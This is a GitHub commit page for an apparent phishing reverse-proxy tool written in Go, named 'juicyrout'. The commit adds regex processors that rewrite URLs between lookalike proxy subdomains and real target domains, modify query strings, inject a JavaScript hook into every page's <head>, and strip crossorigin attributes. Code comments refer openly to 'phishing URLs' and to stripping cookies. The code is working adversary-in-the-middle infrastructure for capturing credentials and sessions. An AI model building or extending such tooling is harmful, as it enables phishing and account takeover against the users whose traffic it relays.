Skip to content

Commit 57be902

Browse files
authored
feature: modify request query (#19)
1 parent 4655a8c commit 57be902

File tree

8 files changed

+290
-96
lines changed

8 files changed

+290
-96
lines changed

api.go

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,8 +83,7 @@ func (m *apiMiddleware) CreateCookie(c *fiber.Ctx) error {
8383
}
8484

8585
func (m *apiMiddleware) getOrigin(c *fiber.Ctx) (destURL *url.URL, err error) {
86-
// TODO refactor for map
87-
origin := m.DomainConverter.ToTargetDomain(c.Get("Origin"))
86+
origin := m.DomainConverter.ToTargetURL(c.Get("Origin"))
8887
destURL, err = url.Parse(origin)
8988
return
9089
}

main.go

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31,8 +31,15 @@ func main() {
3131
// TODO static map www.example.com -> mail.com (from config file)
3232
conv := NewDomainConverter("host.juicyrout:" + port)
3333
conv.AddStaticMapping("www.w3.org", "www.w3.org")
34-
req := NewRequestProcessor(conv)
35-
resp := NewResponseProcessor(conv, changeURLScript+fetchHookScript)
34+
requestURLProc := newURLRegexProcessor(func(domain string) string {
35+
return conv.ToTargetDomain(domain)
36+
})
37+
responseURLProc := newURLRegexProcessor(func(domain string) string {
38+
return conv.ToProxyDomain(domain)
39+
})
40+
htmlProc := newHTMLRegexProcessor(conv, changeURLScript+fetchHookScript)
41+
req := NewRequestProcessor(conv, requestURLProc)
42+
resp := NewResponseProcessor(conv, responseURLProc, htmlProc)
3643

3744
cookieManager := NewCookieManager()
3845
storage := NewSessionStorage(memory.New(), cookieManager)

regex.go

Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
package main
2+
3+
import (
4+
"bytes"
5+
"io"
6+
"log"
7+
"regexp"
8+
"sync"
9+
10+
"github.com/gofiber/fiber/v2/utils"
11+
)
12+
13+
// TODO ReplaceRegexReader
14+
15+
// TODO test Large characters
16+
const URLRegexp = `(\/\/([A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw))`
17+
const PartialURLRegexp = `(\/(\/([A-Za-z0-9]+(-[A-Za-z0-9])*)?)?$)`
18+
19+
var (
20+
urlRegexp = regexp.MustCompile(URLRegexp)
21+
partialURLRegexp = regexp.MustCompile(PartialURLRegexp)
22+
buffPool = newBufferPool()
23+
)
24+
25+
type BufferPool struct {
26+
pool sync.Pool
27+
}
28+
29+
func newBufferPool() *BufferPool {
30+
return &BufferPool{
31+
pool: sync.Pool{
32+
New: func() interface{} {
33+
return new(bytes.Buffer)
34+
},
35+
},
36+
}
37+
}
38+
39+
func (p *BufferPool) Get() *bytes.Buffer {
40+
return p.pool.Get().(*bytes.Buffer)
41+
}
42+
43+
func (p *BufferPool) Put(buff *bytes.Buffer) {
44+
buff.Reset()
45+
p.pool.Put(buff)
46+
}
47+
48+
type RegexProcessor interface {
49+
// Process reads next n bytes from r into the buff, processes it and writes into w.
50+
// Returns io.EOF when no more input is available. It discards bytes from the buffer
51+
// that were written to w.
52+
Process(w io.Writer, r io.Reader, n int, buff *bytes.Buffer) error
53+
// ProcessAll reads all bytes from r, processes it and writes into w.
54+
// A successful ProcessAll returns err == nil, not err == io.EOF.
55+
// Because ProcessAll is defined to read from src until EOF,
56+
// it does not treat an EOF from Read as an error to be reported.
57+
ProcessAll(w io.Writer, r io.Reader) error
58+
}
59+
60+
func newURLRegexProcessor(convertDomain convertDomainFunc) RegexProcessor {
61+
return &regexProcessor{
62+
re: urlRegexp,
63+
partialSuffixRegexp: partialURLRegexp,
64+
convertDomain: convertDomain,
65+
}
66+
}
67+
68+
// TODO remove integrity attribute
69+
func newHTMLRegexProcessor(conv DomainConverter, jsHookScript string) RegexProcessor {
70+
htmlRegexp := regexp.MustCompile(URLRegexp + `|(crossorigin="anonymous")|(rel="manifest")|(<head>)`)
71+
return &regexProcessor{
72+
re: htmlRegexp,
73+
partialSuffixRegexp: partialURLRegexp,
74+
convertDomain: func(domain string) string {
75+
return conv.ToProxyDomain(domain)
76+
},
77+
replaceMap: map[string]string{
78+
`crossorigin="anonymous"`: "",
79+
`rel="manifest"`: `rel="manifest" crossorigin="use-credentials"`,
80+
`<head>`: `<head><script>` + jsHookScript + `</script>`,
81+
},
82+
}
83+
}
84+
85+
type convertDomainFunc func(domain string) string
86+
87+
type regexProcessor struct {
88+
re *regexp.Regexp
89+
partialSuffixRegexp *regexp.Regexp
90+
replaceMap map[string]string
91+
convertDomain convertDomainFunc
92+
}
93+
94+
//nolint:errcheck
95+
func (p *regexProcessor) Process(w io.Writer, r io.Reader, count int, buff *bytes.Buffer) error {
96+
n, err := buff.ReadFrom(io.LimitReader(r, int64(count)))
97+
if n == 0 {
98+
err = io.EOF
99+
}
100+
bytearr := buff.Bytes()
101+
foundIndex := p.re.FindAllIndex(bytearr, -1)
102+
start := 0
103+
for _, pair := range foundIndex {
104+
w.Write(bytearr[start:pair[0]])
105+
// handle case: //bbc.ae -> ro
106+
if pair[1] == count {
107+
start = pair[0]
108+
break
109+
}
110+
111+
found := string(bytearr[pair[0]:pair[1]])
112+
if replaced, ok := p.replaceMap[found]; ok {
113+
w.Write(utils.UnsafeBytes(replaced))
114+
} else {
115+
w.Write([]byte("//"))
116+
w.Write([]byte(p.convertDomain(found[2:])))
117+
}
118+
start = pair[1]
119+
}
120+
// advance the buffer by the number of processed bytes
121+
if start > 0 {
122+
p.advanceBuffer(buff, start)
123+
} else {
124+
pair := p.partialSuffixRegexp.FindIndex(bytearr)
125+
if pair != nil {
126+
w.Write(buff.Bytes()[:pair[0]])
127+
p.advanceBuffer(buff, pair[0])
128+
} else {
129+
w.Write(buff.Bytes())
130+
buff.Reset()
131+
}
132+
}
133+
return err
134+
}
135+
136+
// advanceBuffer advances the buff buffer by the num bytes
137+
func (*regexProcessor) advanceBuffer(buff *bytes.Buffer, num int) {
138+
buff.Next(num)
139+
// move buffer from num offset to 0
140+
bytearr := buff.Bytes()
141+
buff.Reset()
142+
buff.Write(bytearr)
143+
}
144+
145+
//nolint:errcheck
146+
func (p *regexProcessor) ProcessAll(w io.Writer, r io.Reader) (err error) {
147+
buff := buffPool.Get()
148+
defer buffPool.Put(buff)
149+
const bufSize = 4096
150+
for {
151+
if err = p.Process(w, r, bufSize, buff); err != nil {
152+
w.Write(buff.Bytes())
153+
if err != io.EOF {
154+
log.Println("io error", err)
155+
} else {
156+
err = nil
157+
}
158+
return
159+
}
160+
}
161+
}

regex_test.go

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package main
2+
3+
import (
4+
"bytes"
5+
"io"
6+
"strings"
7+
"testing"
8+
9+
"github.com/gofiber/fiber/v2/utils"
10+
"github.com/stretchr/testify/require"
11+
)
12+
13+
func TestURLRegexProcessorProcessAll(t *testing.T) {
14+
var buff bytes.Buffer
15+
conv := NewDomainConverter("example.com")
16+
urlProc := newURLRegexProcessor(func(domain string) string {
17+
return conv.ToTargetDomain(domain)
18+
})
19+
err := urlProc.ProcessAll(&buff, strings.NewReader("q=https://google-com.example.com"))
20+
require.NoError(t, err)
21+
require.Equal(t, "q=https://google.com", utils.UnsafeString(buff.Bytes()))
22+
}
23+
24+
//nolint:errcheck
25+
func BenchmarkURLRegexProcessorProcessAll(b *testing.B) {
26+
conv := NewDomainConverter("example.com")
27+
proc := newURLRegexProcessor(func(domain string) string {
28+
return conv.ToProxyDomain(domain)
29+
})
30+
r := strings.NewReader(`<link rel="dns-prefetch" href="https://github.githubassets.com">`)
31+
for i := 0; i < b.N; i++ {
32+
proc.ProcessAll(io.Discard, r)
33+
r.Seek(0, io.SeekStart)
34+
}
35+
}

request.go

Lines changed: 18 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import (
55
"io/ioutil"
66
"net/http"
77
"net/url"
8+
"strings"
89

910
"github.com/gofiber/fiber/v2"
1011
"github.com/gofiber/fiber/v2/utils"
@@ -14,29 +15,30 @@ type RequestProcessor interface {
1415
Process(c *fiber.Ctx) *http.Request
1516
}
1617

17-
func NewRequestProcessor(conv DomainConverter) RequestProcessor {
18-
return &requestProcessor{conv}
18+
func NewRequestProcessor(conv DomainConverter, urlProc RegexProcessor) RequestProcessor {
19+
return &requestProcessor{conv, urlProc}
1920
}
2021

2122
type requestProcessor struct {
22-
conv DomainConverter
23+
conv DomainConverter
24+
urlProc RegexProcessor
2325
}
2426

25-
// TODO patch query params (phishing URLs to original domains)
26-
// TODO patch phishing URLs in body with original domains
27+
// TODO strip xhr cookies
2728
func (p *requestProcessor) Process(c *fiber.Ctx) *http.Request {
2829
r := c.Request()
2930
destURL := &url.URL{
3031
Scheme: "https",
3132
Host: p.conv.ToTargetDomain(utils.UnsafeString(r.URI().Host())),
3233
Path: utils.UnsafeString(r.URI().Path()),
33-
RawQuery: utils.UnsafeString(r.URI().QueryString()),
34+
RawQuery: p.modifyQuery(utils.UnsafeString(r.URI().QueryString())),
3435
}
3536
var body io.ReadCloser
3637
stream := c.Context().RequestBodyStream()
3738
if stream != nil {
3839
body = ioutil.NopCloser(stream)
3940
}
41+
// TODO patch phishing URLs in body with original domains
4042
req := &http.Request{
4143
Method: utils.UnsafeString(r.Header.Method()),
4244
Body: body,
@@ -72,3 +74,13 @@ func (p *requestProcessor) Process(c *fiber.Ctx) *http.Request {
7274
req.Header.Del("Accept-Encoding")
7375
return req
7476
}
77+
78+
func (p *requestProcessor) modifyQuery(query string) string {
79+
buff := buffPool.Get()
80+
defer buffPool.Put(buff)
81+
decoded := strings.ReplaceAll(strings.ToLower(query), "%2f", "/")
82+
if err := p.urlProc.ProcessAll(buff, strings.NewReader(decoded)); err != nil {
83+
return query
84+
}
85+
return strings.ReplaceAll(utils.UnsafeString(buff.Bytes()), "/", "%2f")
86+
}

request_test.go

Lines changed: 27 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ func TestRequestProcessor(t *testing.T) {
3232
require.NoError(t, err)
3333
cookieJar.SetCookies(reqURL, []*http.Cookie{{Name: "google_sid", Value: "123"}})
3434

35-
p := NewRequestProcessor(NewDomainConverter("example.com"))
35+
p := newRequestProcessor("example.com")
3636
result := p.Process(c)
3737
require.Equal(t, "www.google.com", result.URL.Host)
3838
require.Equal(t, "/abc", result.URL.Path)
@@ -62,7 +62,7 @@ func TestRequestProcessorOptionsMethod(t *testing.T) {
6262
c.Request().Header.Add("Referer", "https://www-google-com.example.com/def")
6363
c.Request().Header.Add("Origin", "https://www-google-com.example.com")
6464

65-
p := NewRequestProcessor(NewDomainConverter("example.com"))
65+
p := newRequestProcessor("example.com")
6666
result := p.Process(c)
6767
require.Equal(t, "www.google.com", result.URL.Host)
6868
require.Equal(t, "/abc", result.URL.Path)
@@ -73,3 +73,28 @@ func TestRequestProcessorOptionsMethod(t *testing.T) {
7373
require.Empty(t, result.Cookies())
7474
require.Nil(t, result.Body)
7575
}
76+
77+
func TestRequestProcessorModifyQuery(t *testing.T) {
78+
app := fiber.New()
79+
c := app.AcquireCtx(&fasthttp.RequestCtx{})
80+
defer app.ReleaseCtx(c)
81+
82+
cookieJar, err := cookiejar.New(nil)
83+
require.NoError(t, err)
84+
c.Locals("cookieJar", cookieJar)
85+
86+
c.Request().Header.SetMethod(fasthttp.MethodGet)
87+
c.Request().SetRequestURI("https://www-google-com.example.com/abc?q=https%3A%2F%2Fgoogle-com.example.com")
88+
p := newRequestProcessor("example.com")
89+
result := p.Process(c)
90+
91+
require.Equal(t, "q=https%3a%2f%2fgoogle.com", result.URL.RawQuery)
92+
}
93+
94+
func newRequestProcessor(domain string) *requestProcessor {
95+
conv := NewDomainConverter(domain)
96+
urlProc := newURLRegexProcessor(func(domain string) string {
97+
return conv.ToTargetDomain(domain)
98+
})
99+
return NewRequestProcessor(conv, urlProc).(*requestProcessor)
100+
}

0 commit comments

Comments
 (0)